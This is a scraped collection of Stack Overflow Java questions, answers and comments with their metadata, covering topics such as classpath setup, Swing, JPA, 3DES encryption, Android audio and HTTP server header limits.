has body: Ok so when i use ClassLoader.getSystemResourceAsStream it will only work sometimes, sometimes it will find the file and it will return true and then sometimes it will return false here is my code InputStream ffmpegStream = ClassLoader.getSystemResourceAsStream("bin"); InputStream ffplayStream = ClassLoader.getSystemResourceAsStream("bin//ffplay.exe"); InputStream ffprobeStream = ClassLoader.getSystemResourceAsStream("bin//ffprobe.exe"); File MainConfigFile = new File(this.getMainConfigLocation()); File FFMPEGFile = new File(ffmpegStream.toString()); File FFMPEGFileInstallLocation = new File(FFMPEGInstallDirectory); File FFPLAYFile = new File(ffplayStream.toString()); File FFPLAYFileInstallLocation = new File(FFPlayInstallDirectory); File FFPROBEFile = new File(ffprobeStream.toString()); File FFPROBEFileInstallLocation = new File(FFProbeInstallDirectory); FFMPEGFile.renameTo(FFMPEGFileInstallLocation); FFPLAYFile.renameTo(FFPLAYFileInstallLocation); FFPROBEFile.renameTo(FFPROBEFileInstallLocation); System.out.println(FFMPEGFile.exists()); System.exit(0);
has comment: http://stackoverflow.com/comment/33800829
type: Question
has comment: http://stackoverflow.com/comment/33800814
linked to: http://stackoverflow.com/q/1325388
tagged with: java
score: 0

http://stackoverflow.com/comment/33844332
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22278895
has text: This is part of an assignment for a beginner programmer's course. And I have to use arrays to store the words. Later I'll have to write another method accessing these words by indicating the indexes of the array. I'm not sure if i'll be able to these with these code. But overall that IS what I want the code to do, but using arrays. And I need the Scanner to scan the file.
type: AnswerComment

http://stackoverflow.com/comment/33861992
comment on: http://stackoverflow.com/a/22287520
type: AnswerComment
score: 0
has text: The tip refer to single usage of method `getLandscapeFormFile()`. ;-)
type: Comment

http://stackoverflow.com/comment/33817777
comment on: http://stackoverflow.com/q/22263901
score: 0
type: QuestionComment
type: Comment
has text: I doubt someone who is such a beginner would know how to effectively debug a program.

http://stackoverflow.com/comment/33722691
type: QuestionComment
has text: Please post your entire javascript code that calls the java method.
score: 0
comment on: http://stackoverflow.com/q/22211245
type: Comment

http://stackoverflow.com/a/65131251
answers question: http://stackoverflow.com/q/22265463
type: Answer
has body: You have 2 questions, one is the "title question" and another is the "foot note question" after elaborating your problem. Read this documentation bellow to get a better understanding of CLASSPATH. https://docs.oracle.com/javase/tutorial/essential/environment/index.html https://docs.oracle.com/javase/8/docs/technotes/tools/windows/classpath.html This is fast and straight forward for what you need. For your first question, this will do: The documentation recommends us to set a classpath for every application we are running at the moment using (use in the command-line): java -classpath C:\yourDirectoryPath myApp For your second question, look this exercise in the java documentation. It seems to be the same problem: https://docs.oracle.com/javase/tutorial/essential/environment/QandE/answers.html Answers to Questions and Exercises: The Platform Environment Question 1.A programmer installs a new library contained in a .jar file. In order to access the library from his code, he sets the CLASSPATH environment variable to point to the new .jar file. Now he finds that he gets an error message when he tries to launch simple applications: java Hello Exception in thread "main" java.lang.NoClassDefFoundError: Hello In this case, the Hello class is compiled into a .class file in the current directory — yet the java command can't seem to find it. What's going wrong? Answer 1. A class is only found if it appears in the class path. By default, the class path consists of the current directory. If the CLASSPATH environment variable is set, and doesn't include the current directory, the launcher can no longer find classes in the current directory. The solution is to change the CLASSPATH variable to include the current directory. For example, if the CLASSPATH value is c:\java\newLibrary.jar (Windows) or /home/me/newLibrary.jar (UNIX or Linux) it needs to be changed to .;c:\java\newLibrary.jar or .:/home/me/newLibrary.jar."
score: 0

http://stackoverflow.com/comment/33833519
type: Comment
type: QuestionComment
has text: Oh, ok. So what is the correct/appropriate diagram for this simple program?
comment on: http://stackoverflow.com/q/22273017
score: 0

http://stackoverflow.com/q/22174492
tagged with: java
tagged with: swing
has title: accessing component from another class java
type: Question
tagged with: components
tagged with: class
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/22174596
type: UnansweredQuestion
has body: so i'm trying to access the JComboBox from the class called Calculator. the JComboBox itself lies in a method, and inside a JPanel in another class called GUI. thanks. here's my code public class GUI { public static JFrame MainFrame(){ //the endless code frame.add(konvpanel(); return frame; } public static JPanel konvpanel(){ JPanel a = new JPanel(); String [] itembox = {"...","XXX","===","|||"}; JComboBox nnn = new JComboBox(itembox); a.add(nnn); return a; } } thanks in advance.
has answer: http://stackoverflow.com/a/22175972

http://stackoverflow.com/comment/33740794
has text: so why not `mvn clean package`?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22221679

http://stackoverflow.com/comment/34065902
comment on: http://stackoverflow.com/a/22343674
score: 0
has text: Brillient , i will try this and let you know . thanks and appriciate your quick response !
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33834706
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22273647
has text: your classes seem correct. may you show your `BookResource` class ? Some things I noticed: there is no `author` field in your `Book` class, but you get `author` in your json and also you dont have `author` field in your `Author` class, but you still get such field in the json, so have you posted the correct/all classes here ?
score: 0

http://stackoverflow.com/comment/33789725
has text: yeah thats seems to be the problem but declaring the variables locally didnt fix it. thanks for the help though
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22247923
type: AnswerComment

http://stackoverflow.com/comment/33777198
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22241378
has text: I'll get on that right away! I'm really more used to forums, so this is new. Thanks for everything. One question on the isTraversable method...let's say the maze looked like the one I posted above, how could that be solved? Since it requires the path to retrace the 0 above the F..?
type: AnswerComment

http://stackoverflow.com/comment/33874027
score: 0
type: AnswerComment
type: Comment
has text: No its not working same problem I tested in locale and in remote, Local host working fine but in remote it is not working @Youngistan
comment on: http://stackoverflow.com/a/22294370

http://stackoverflow.com/a/22288063
type: Answer
answers question: http://stackoverflow.com/q/22288031
has body: The keyword this refers to an instance of the enclosing class. In your example, "this" will refer to the class containing that keyword. You question might already have been answered here: What is the meaning of "this" in Java?
score: 0

http://stackoverflow.com/q/22280721
has title: 3des with 2 different keys in java getting null
answer count: 1
downvote count: 0
favorite count: 0
has body: 3des with 2 different keys in java getting null. import java.security.spec.*; import javax.crypto.*; import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; public class DESedeEncryption { public static void main(String[] args) { SecretKey k1 = generateDESkey(); SecretKey k2 = generateDESkey(); String firstEncryption = desEncryption("plaintext", k1); System.out.println("firstEncryption Value : "+firstEncryption); String decryption = desDecryption(firstEncryption, k2); System.out.println("decryption Value : "+decryption); String secondEncryption = desEncryption(decryption, k1); System.out.println("secondEncryption Value : "+secondEncryption); } public static SecretKey generateDESkey() { KeyGenerator keyGen = null; try { keyGen = KeyGenerator.getInstance("DESede"); } catch (Exception ex) { } keyGen.init(112); // key length 56 SecretKey secretKey = keyGen.generateKey(); return secretKey; } public static String desEncryption(String strToEncrypt, SecretKey desKey) { try { Cipher cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, desKey); BASE64Encoder base64encoder = new BASE64Encoder(); byte[] encryptedText = cipher.doFinal(strToEncrypt.getBytes()); String encryptedString =base64encoder.encode(encryptedText); return encryptedString; } catch (Exception ex) { } return null; } public static String desDecryption(String strToDecrypt, SecretKey desKey) { try { Cipher cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, desKey); BASE64Decoder base64decoder = new BASE64Decoder(); byte[] encryptedText = base64decoder.decodeBuffer(strToDecrypt); byte[] plainText = cipher.doFinal(encryptedText); String decryptedString= bytes2String(plainText); return decryptedString; } catch (Exception ex) { } return null; } private static String bytes2String(byte[] bytes) { StringBuffer stringBuffer = new StringBuffer(); for (int i = 0; i &lt;bytes.length; i++) { stringBuffer.append((char) bytes[i]); } return stringBu…
type: UnansweredQuestion
upvote count: 1
linked to: http://stackoverflow.com/q/19610358
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22705599
type: Question

http://stackoverflow.com/q/22302736
favorite count: 0
answer count: 0
type: UnansweredQuestion
has title: what is poorly formatted http response (malformed http response)?
upvote count: 1
downvote count: 1
tagged with: http
type: Question
tagged with: heroku
tagged with: java
has body: I am running java application on heroku. I get this exception at any time (randomly). with any random file, sometimes with static files (like js, css) and some time with dynamic files (as jsp) I want to know what this actually mean, and how can I resolve this problem. Thanks (in advance)
has comment: http://stackoverflow.com/comment/33886825
score: 0
has comment: http://stackoverflow.com/comment/33912493

http://stackoverflow.com/a/22191850
type: Answer
downvote count: 0
has body: Anyways, I got this done by getting entityManager reference from EntityManagerFactory bean which is configured in my jdbc-config.xml. But again this is not what I wanted. I wanted to work around with @PersistenceContext. @Autowired EntityManagerFactory entityManagerFactory; private static EntityManager entityManager; public void setEntityManagerFactory(EntityManagerFactory entityManagerFactory) { entityManager=entityManagerFactory.createEntityManager(); this.entityManagerFactory = entityManagerFactory; } Here are few notes that we need to keep in mind: We can't inject an EntityManager into an EntityListener (through @PersistenceContext). EntityListener is not managed by any of the containers @PersistenceContext class cannot be static. So we cant attain the instance while class loading. EntityListeners are instantiated by JPA, so Spring does not have an opportunity to inject EntityManager
score: 5
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22171221
answers question: http://stackoverflow.com/q/22171221
upvote count: 5

http://stackoverflow.com/comment/33791842
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22250293
has text: Ok that worked, now it is saying that the return sum; has a confusing indentation

http://stackoverflow.com/comment/33879704
has text: Show us your dependency tree (`mvn dependency:tree`).
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22297112

http://stackoverflow.com/comment/33731365
type: QuestionComment
has text: You should use global variable heading should be global, not local. Declare TextView heading in class
comment on: http://stackoverflow.com/q/22216633
score: 0
type: Comment

http://stackoverflow.com/a/22176525
type: Answer
downvote count: 0
score: 1
has body: Try this: String myKey="/home/local/my_key.pem"; Runtime runtime = Runtime.getRuntime(); String commande = "ssh -i "+myKey+" ubuntu@ec2-53-71-22-288.eu-west-1.compute.amazonaws.com 'bash ./runFile.bash' -o StrictHostKeyChecking=no "; Process p = runtime.exec(commande); p.waitFor(); (use bash ./runFile.bash instead of bash runFile.bash)
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22175317
answers question: http://stackoverflow.com/q/22175317

http://stackoverflow.com/q/22189340
tagged with: treemap
has answer: http://stackoverflow.com/a/22189554
answer count: 1
downvote count: 0
favorite count: 0
tagged with: temporary-objects
has title: How to iterate over a nested TreeMap without creating temporary Objects
accepted answer: http://stackoverflow.com/a/22189554
type: AnsweredQuestion
tagged with: garbage-collection
upvote count: 1
linked to: http://stackoverflow.com/q/18406703
type: Question
has body: I'm working on a nGrams, and I'm using a nested TreeMap kind of datastructure to store the ngrams. The template for Quadgrams looks like this. public TreeMap&lt;String, TreeMap&lt;String, TreeMap&lt;String, TreeMap&lt;String, Integer&gt;&gt;&gt;&gt; ngramWordCounter; The problem is arising when i'm trying to dump it to a file, basically i'm iterating over keySet of first map, and then into the keymap of the second and so on and so forth. As a result a lot of temporary objects are created and i'm getting GCOverlimitExceeded Error. The code snippet for iterating is as follows, for(String key: ((Quadgram)quadgram).ngramWordCounter.keySet()) { for(String key1: ((Quadgram)quadgram).ngramWordCounter.get(key).keySet()) { for(String key2: ((Quadgram)quadgram).ngramWordCounter.get(key).get(key1).keySet()) { for(String key3:((Quadgram)quadgram).ngramWordCounter.get(key).get(key1).get(key2).keySet()) { //Do something } } } } Is there a better way to iterate over this list without creating temporary objects?
score: 1
tagged with: java

osgi
tags question: http://stackoverflow.com/q/22191820
type: Tag
tags question: http://stackoverflow.com/q/22220738
tags question: http://stackoverflow.com/q/22308836
tags question: http://stackoverflow.com/q/22259579
tag name: osgi
tags question: http://stackoverflow.com/q/22280249
tags question: http://stackoverflow.com/q/22208898
tags question: http://stackoverflow.com/q/22322452
tags question: http://stackoverflow.com/q/22198780
tags question: http://stackoverflow.com/q/22294965
tags question: http://stackoverflow.com/q/22171570
tags question: http://stackoverflow.com/q/22324554

http://stackoverflow.com/comment/33917101
type: Comment
type: QuestionComment
has text: downvoter: what's wrong with the question?
comment on: http://stackoverflow.com/q/22319669
score: 0

http://stackoverflow.com/comment/33846358
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22275715
has text: Thanks for log4j configuration. With enabled debug I figured out that in my login form I don't had valid names for input. Thanks for help. They should be j_password and j_username and url action must be set to /j_spring_security_check.

http://stackoverflow.com/comment/33870808
score: 0
type: AnswerComment
has text: yes i understand your solution....its neat...but m looking for a possible explanation, yours is a workaround...+1 though!! :D
type: Comment
comment on: http://stackoverflow.com/a/22293458

http://stackoverflow.com/q/22175991
type: Question
tagged with: charts
has answer: http://stackoverflow.com/a/22185409
downvote count: 0
answer count: 1
favorite count: 0
has body: I'm searching about a pie chart that is rotated by mouse wheel but couldn't find a good example.
upvote count: 1
type: AnsweredQuestion
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22185409
has title: How to rotate pie chart with mouse wheel in JFreeChart?
tagged with: jfreechart

http://stackoverflow.com/comment/33922532
score: 0
type: AnswerComment
has text: I learn everyday - Thank you :)
type: Comment
comment on: http://stackoverflow.com/a/22322924

http://stackoverflow.com/comment/33688100
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22192019
has text: I think it is another formulating of question: [How to implement a single instance Java application][1] : http://stackoverflow.com/questions/177189/how-to-implement-a-single-instance-java-application

http://stackoverflow.com/comment/33763219
score: 0
type: Comment
has text: This is gonna break when a converted string is 'aa...' and not 'k...'.
type: AnswerComment
comment on: http://stackoverflow.com/a/22234127

http://stackoverflow.com/q/22229206
has answer: http://stackoverflow.com/a/22229643
type: Question
tagged with: locking
linked to: http://stackoverflow.com/q/6909035
score: -2
has body: As per How to do optimistic locking in hibernate, we need to enable the optimistic locking with version element or version annotation in hibernate. I am clear till here. I am not sure what is the purpose of Lock Mode Optimistic ? In what kind of scenario, developer should use it ?
downvote count: 2
answer count: 1
favorite count: 0
type: UnansweredQuestion
has title: what is the purpose of LockMode OPTIMISTIC?
upvote count: 0
tagged with: java
tagged with: hibernate

http://stackoverflow.com/q/22191968
has title: How to place only actually needed files of OpenCV library to my app folder to make portable java application (Executable Jar)?
tagged with: javacv
linked to: http://stackoverflow.com/q/16269517
downvote count: 0
tagged with: executable-jar
accepted answer: http://stackoverflow.com/a/22214357
favorite count: 0
linked to: http://stackoverflow.com/q/16316381
answer count: 1
has body: I have almost the same situation as in this question: Trying to make java application (Executable Jar) that uses OpenCV portable. Getting unsatisfied link error. And this question and questions linked and related to this one helps me to understand more. But I still need help with my problem. My question actually splits onto two interrelated questions: How to determine files of opencv library actually needed for my application (just to grab video) On my development computer there is a number of directories with obviously the same collection of dll files of opencv2.4.2 (as i understand only dll files needed): opencv/build/x86/mingw opencv/build/x86/vc9 opencv/build/x86/vc10 opencv/build/x64/mingw opencv/build/x64/vc9 opencv/build/x64/vc10 I understand division onto x86 and x64, but what about mingw/vc9/vc10? How to organize them to my portable build? When i'm creating runnable jar from my project, i have nice option "Copy required libraries into sub-folder next to the generated JAR". The folder usually has name of form "_myApp__lib". Suppose I placed required dll files to that sub-folder as well. How to make my runnable jar see them? And can i do this without -Djava.library.path? And is it possible to place dll files to separate jar?
upvote count: 1
has comment: http://stackoverflow.com/comment/33700439
tagged with: opencv
type: AnsweredQuestion
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22214357
type: Question

http://stackoverflow.com/q/22266079
upvote count: 1
has comment: http://stackoverflow.com/comment/33822039
has comment: http://stackoverflow.com/comment/33821278
has comment: http://stackoverflow.com/comment/33822818
type: Question
has comment: http://stackoverflow.com/comment/33821958
has title: Android SoundPool lag
has comment: http://stackoverflow.com/comment/33822016
tagged with: java
has comment: http://stackoverflow.com/comment/33821407
has comment: http://stackoverflow.com/comment/33822076
tagged with: soundpool
has comment: http://stackoverflow.com/comment/33821269
downvote count: 0
has comment: http://stackoverflow.com/comment/33821548
favorite count: 0
has body: I am making a game in which the user has to pick up items while passing through a level. I play a sound using a SoundPool object every time the user picks up an item. The sound seems to be causing a slight bit of lag when it is triggered. The thing is, this only occurs on my LG G2, and not my 3 year old asus tablet with significantly less powerful hardware. I'm playing the sounds on the same thread that the game is running in. The following code is how I set up and call my SoundPool objects. Set up: sp = new SoundPool(5, AudioManager.STREAM_MUSIC, 0); gemSound = sp.load(this, R.raw.gemget, 1); Calling: sp.play(gemSound, .4f, .4f, 0, 0, 1); So my question is: Is there a way to make this lag disappear? I'm pretty confused as to what the problem is, since my old, less powerful hardware runs the game butter smooth, and my brand new, powerful hardware is having the issue. Any help is appreciated. Thanks. EDIT: the sound file is in .mp3 format.
type: UnansweredQuestion
tagged with: android
linked to: http://stackoverflow.com/q/10181822
has comment: http://stackoverflow.com/comment/33821862
has comment: http://stackoverflow.com/comment/33821938
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/33823164

http://stackoverflow.com/a/22174840
score: 0
answers question: http://stackoverflow.com/q/22174737
type: Answer
has body: Your comparison is i&lt;=100. Your initial position is at 0. These two combine to give you 101 times around the loop. Try i&lt;100.

http://stackoverflow.com/q/22180515
favorite count: 0
has comment: http://stackoverflow.com/comment/33666663
downvote count: 2
tagged with: android
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33666771
type: Question
has body: I am experiencing trouble with this code - it should not add duplicate strings in case it encounters some. I do not understand why it crashes. Cursor people = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); NameIndex = people.getColumnIndex(PhoneLookup.DISPLAY_NAME); Temp = people.getString(NameIndex); myArr.add(Temp.toString()); while (people.moveToNext()) { NameIndex = people.getColumnIndex(PhoneLookup.DISPLAY_NAME); Name = people.getString(NameIndex); if((Name.toString()).equals(Temp)) { } else { myArr.add(Name.toString()); Temp = Name.toString(); } }
has comment: http://stackoverflow.com/comment/33666695
upvote count: 0
has title: Error in removing duplicates in ArrayList
score: -2
accepted answer: http://stackoverflow.com/a/22181230
tagged with: arraylist
tagged with: android-listview
answer count: 1
has answer: http://stackoverflow.com/a/22181230

http://stackoverflow.com/comment/54597674
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22297367
type: Comment
has text: how does one store json object as a byte array?

http://stackoverflow.com/comment/33682449
type: AnswerComment
comment on: http://stackoverflow.com/a/22189401
score: 0
type: Comment
has text: +1. Since Java 5, the version with a wildcard is favorable; the unparameterized version will create a compilation warning.

http://stackoverflow.com/q/22319491
has answer: http://stackoverflow.com/a/22319646
has answer: http://stackoverflow.com/a/22319597
has title: Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 0 What's Going Wrong?
has comment: http://stackoverflow.com/comment/33916750
tagged with: java
downvote count: 3
has answer: http://stackoverflow.com/a/22319559
has answer: http://stackoverflow.com/a/22319568
has body: I am trying to code this program to read 6 values from the command line as coordinates and use these coordinates to calculate the area and perimeter of the triangle formed. However, I'm getting this error message when running the program: Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 0 at geometry.ThreePoints.main(ThreePoints.java:26) What's going wrong? My Code with the error message:
has answer: http://stackoverflow.com/a/22319656
has comment: http://stackoverflow.com/comment/33916774
has comment: http://stackoverflow.com/comment/33916886
answer count: 5
type: UnansweredQuestion
score: -3
tagged with: eclipse
upvote count: 0
favorite count: 0
type: Question

http://stackoverflow.com/q/22185683
score: 7
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33676215
tagged with: arrays
downvote count: 0
has answer: http://stackoverflow.com/a/37092581
has answer: http://stackoverflow.com/a/22185960
upvote count: 7
answer count: 4
has body: There are a few of these topics out there, but this problem has a slight twist that makes it different. I'm focused on only half of a larger problem. I'm sure many of you are aware of the magic square problem. Prompt: Assume a file with lines and numbers on each line like the square shown. Write a program that reads info into a two dimensional array of intS. The program should determine if the matrix is a magic square or not. Working Solution: public static int[][] create2DIntMatrixFromFile(String filename) throws Exception { int[][] matrix = {{1}, {2}}; File inFile = new File(filename); Scanner in = new Scanner(inFile); int intLength = 0; String[] length = in.nextLine().trim().split("\\s+"); for (int i = 0; i &lt; length.length; i++) { intLength++; } in.close(); matrix = new int[intLength][intLength]; in = new Scanner(inFile); int lineCount = 0; while (in.hasNextLine()) { String[] currentLine = in.nextLine().trim().split("\\s+"); for (int i = 0; i &lt; currentLine.length; i++) { matrix[lineCount][i] = Integer.parseInt(currentLine[i]); } lineCount++; } return matrix; } public static boolean isMagicSquare(int[][] square) { return false; } Here is my (old) code for reading info from a text file into a 2D array: public static int[][] create2DIntMatrixFromFile(String filename) throws Exception { int[][] matrix = {{1}, {2}}; File inFile = new File(filename); Scanner in = new Scanner(inFile); in.useDelimiter("[/n]"); String line = ""; int lineCount = 0; while (in.hasNextLine()) { line = in.nextLine().trim(); Scanner lineIn = new Scanner(line); lineIn.useDelimiter(""); for (int i = 0; lineIn.hasNext(); i++) { matrix[lineCount][i] = Integer.parseInt(lineIn.next()); lineIn.next(); } lineCount++; } return matrix; } public static boolean isMagicSquare(int[][] square) { return false; } And here is the text file I am reading from. It is in the shape of a 9x9 2D array, but the program must accommodate an array of ambiguous size. 37 48 59 70 81 2 13 24 35 36 38 49 60 71 73 3 14 25…
favorite count: 0
has title: Read .txt file into 2D Array
tagged with: java.util.scanner
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22186042
has answer: http://stackoverflow.com/a/22185914

http://stackoverflow.com/comment/33889549
has text: Did try adding User-Agent in request.setHeader(). It didnt help
score: 0
comment on: http://stackoverflow.com/q/22303868
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33694382
comment on: http://stackoverflow.com/a/22194018
type: Comment
has text: Happy to know, but strange thing is if you didn't define the role manager-gui in tomcat-user and how can it be accessible via Tomcat Application Manager from web. perhaps you have define the same tomcat user two times, using from web you used tomcat tomcat with role tomcat and when you used wget you used tomcat password with manager role which created issue. enjoy
score: 0
type: AnswerComment

http://stackoverflow.com/q/22241268
has title: ListSelectionEvent, firing an event when clicking the currently selected item in JList
type: Question
answer count: 2
has body: Let 'x' be an item in the JList. When I click it for the first time, the event fires, when I click it again, the event does not fire. I have to click some other item and then come back to 'x'. How can I fire the event repeatedly from 'x' without having to deal with other items. This is my code: public void valueChanged(ListSelectionEvent e) { if (e.getValueIsAdjusting() == false) { if (list.getSelectedIndex() == -1) {} else { String clicked = (String)list.getSelectedValue(); //method to fire is here } } updateDisplays(); }
has comment: http://stackoverflow.com/comment/33776329
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/22241302
tagged with: listselectionlistener
tagged with: jlist
possible better answer: http://stackoverflow.com/a/22241316
has comment: http://stackoverflow.com/comment/33776509
has comment: http://stackoverflow.com/comment/33776405
has answer: http://stackoverflow.com/a/22241316
upvote count: 3
tagged with: swing
has comment: http://stackoverflow.com/comment/33776222
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/22241302
has comment: http://stackoverflow.com/comment/33780950
tagged with: java

http://stackoverflow.com/q/22293550
type: Question
tagged with: logback
has answer: http://stackoverflow.com/a/26973745
accepted answer: http://stackoverflow.com/a/26973745
tagged with: slf4j
tagged with: websphere
score: 5
answer count: 3
has body: I am running an application on Websphere v8.5.5.0 and am attempting to use logback as my logging framework. When i try to start the application, I am greeted with an error similar to this one: [10/03/14 13:19:00:900 EST] 00000097 SystemErr R SLF4J: Class path contains multiple SLF4J bindings. [10/03/14 13:19:00:900 EST] 00000097 SystemErr R SLF4J: Found binding in [bundleresource://266.fwk1755217229:1/org/slf4j/impl/StaticLoggerBinder.class] [10/03/14 13:19:00:900 EST] 00000097 SystemErr R SLF4J: Found binding in [wsjar:file:/C:/Program%20Files%20(x86)/IBM/WebSphere/AppServer_1/profiles/AppSrv01/installedApps/AUSSYDCVTLJ007Node02Cell/myapp.ear/lib/logback-classic-1.1.1.jar!/org/slf4j/impl/StaticLoggerBinder.class] [10/03/14 13:19:00:900 EST] 00000097 SystemErr R SLF4J: See http://www.slf4j.org/codes.html#multiple_bindings for an explanation. [10/03/14 13:19:01:313 EST] 00000097 SystemErr R SLF4J: Actual binding is of type [ch.qos.logback.classic.util.ContextSelectorStaticBinder] As the answer explains, The ibm libraries contain an implementation of the logback-classic library on the classpath already. I want to stay up to date with the latest logback so was wondering whether someone could show me how to manually choose the binding to use (without using a parent-last classloader!).
favorite count: 0
upvote count: 5
has answer: http://stackoverflow.com/a/23369965
linked to: http://stackoverflow.com/q/12494420
has answer: http://stackoverflow.com/a/22293629
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/23369965
downvote count: 0
tagged with: java
has title: Websphere Multiple slf4j logback bindings work around

http://stackoverflow.com/q/22277615
tagged with: class
accepted answer: http://stackoverflow.com/a/22277683
has body: I have a problem about opening another class because i have a JComboBox that will contain the choices of class that i need to often so here is my code please check it . package Patola; import java.awt.*; import javax.swing.*; import java.awt.event.*; public class imagebut extends JFrame { // ImageIcon we = new ImageIcon(getClass().getResource("ban.png")); // ImageIcon wer = new ImageIcon(getClass().getResource("ba.png")); public static void main(String args[]) { imagebut w = new imagebut(); w.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); w.setSize(300, 300); w.setVisible(true); } String[] cent = {"Conversion", "Adv.Calculator"}; JComboBox box = new JComboBox(cent); JButton bi = new JButton("Patola"); public imagebut() { /* JButton converter = new JButton("Convertion"); JButton advancecalc = new JButton("Adv.Calculator"); JButton calc = new JButton("Calculator"); JButton Multiplication = new JButton("Multiplication"); JButton Looping = new JButton("Looping"); JButton Calendar = new JButton("Calendar"); JButton Remarks = new JButton("Remarks"); JButton Average = new JButton("Average"); JButton Magicsq = new JButton("Magic Square");*/ // JLabel background = new JLabel(new ImageIcon(getClass().getResource("gif.gif"))); JPanel pan = new JPanel(); box.setBounds(10, 10, 100, 25); bi.setBounds(40, 40, 80, 30); getContentPane().add(pan); //getContentPane().add(background); pan.add(box); pan.add(bi); /* background.add(box); background.add(bi); */ /* background.add(converter); background.add(calc); background.add(advancecalc); background.add(Magicsq); background.add(Remarks); background.add(Calendar); background.add(Average); background.add(Looping); background.add(Multiplication);*/ box.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { String s = (String) box.getSelectedItem(); switch(s) { case "Convertion": new converter(); break; } } }); } } So if I choose converter then click the button patola I needed to open this frame this is the an…
favorite count: 0
tagged with: jcombobox
downvote count: 2
upvote count: 1
tagged with: swing
has title: trouble of opening another class
has comment: http://stackoverflow.com/comment/33842050
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22277683
tagged with: java
score: -1
type: Question
has comment: http://stackoverflow.com/comment/33842027
linked to: http://stackoverflow.com/q/9554636
answer count: 1
tagged with: user-interface

http://stackoverflow.com/comment/33846953
has text: Make Custom layout and setview in popup window
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22279141
score: 0

http://stackoverflow.com/q/22173277
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22190298
tagged with: android
tagged with: facebook
score: 0
tagged with: java
type: Question
has body: I am developing one app, in which I am doing facebook sharing. I am successfully able to share , but only when I didn't install the facebook app. As I am installing the facebook app, and trying to share then it is asking for login and as I am logging then I am getting following Dialog box "My app would like to access your public profile and friend list". As I am clicking on "OK" button it is doing some process and again coming on my app, but nothing is to be shared. Please help me. Here is my code:- public class BaseFbTwitterShareAppActivity extends Activity { private UiLifecycleHelper uiHelper; public Session.StatusCallback statusCallback = new SessionStatusCallback(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); uiHelper = new UiLifecycleHelper(this, statusCallback); uiHelper.onCreate(savedInstanceState); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); uiHelper.onActivityResult(requestCode, resultCode, data, new FacebookDialog.Callback() { @Override public void onError(FacebookDialog.PendingCall pendingCall, Exception error, Bundle data) { } @Override public void onComplete( FacebookDialog.PendingCall pendingCall, Bundle data) { // Log.i("Activity", "Success!"); } }); } @Override protected void onResume() { super.onResume(); uiHelper.onResume(); } @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); uiHelper.onSaveInstanceState(outState); } @Override public void onPause() { super.onPause(); uiHelper.onPause(); } @Override public void onDestroy() { super.onDestroy(); uiHelper.onDestroy(); } private void shareApp() { Bundle params = new Bundle(); params.putString("name", "aaa"); params.putString("caption", "bbb"); params.putString("description", "Dummy data."); params.putString("link", "https://www.facebook.com/xxx"); params.putString("picture", "https://raw.github.com…
has title: Facebook Sharing is not happening?

http://stackoverflow.com/comment/33853110
score: 0
type: AnswerComment
has text: @RohitJain was in the middle of writing it :)
type: Comment
comment on: http://stackoverflow.com/a/22283918

http://stackoverflow.com/q/22308529
type: AnsweredQuestion
tagged with: java
has body: I have made an HTTP server, and here are some questions. Let's say - when server is receiving HTTP header - it is also counting data received size. If some hacker trying to send let's say header which is 100 MB, and server is configured to accept up to 1 MB header - how to proceed in this situation? I can close connection, or break this loop and send response with some error code: BufferedInputStream is = new BufferedInputStream(socket.getInputStream(), 2048); int read; while ((read = is.read(bufferData, 0, 2048)) != -1) { //If header too long - what to do? Break and close connection or just break and send response? } If I suddenly stop receiving data (while client is still transmitting) - and then will begin write some date to OutputStream - what would happen?
tagged with: http
type: Question
has title: HTTP server: what to do if header received is too long? How to manage streams?
linked to: http://stackoverflow.com/q/14250991
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/22308612
has comment: http://stackoverflow.com/comment/33897827
has answer: http://stackoverflow.com/a/22308612
has comment: http://stackoverflow.com/comment/33897810

http://stackoverflow.com/a/22243462
has body: The method start() from the Thread class is not deprecated. Please check the list of deprecated API. Deprecated Methods It seems that some eclipse problem.
score: 0
answers question: http://stackoverflow.com/q/22234218
type: Answer

http://stackoverflow.com/comment/33736624
comment on: http://stackoverflow.com/a/22218359
has text: I know that kill will do the job,that i already mentioned, i asked how to use it, and is there any other option...
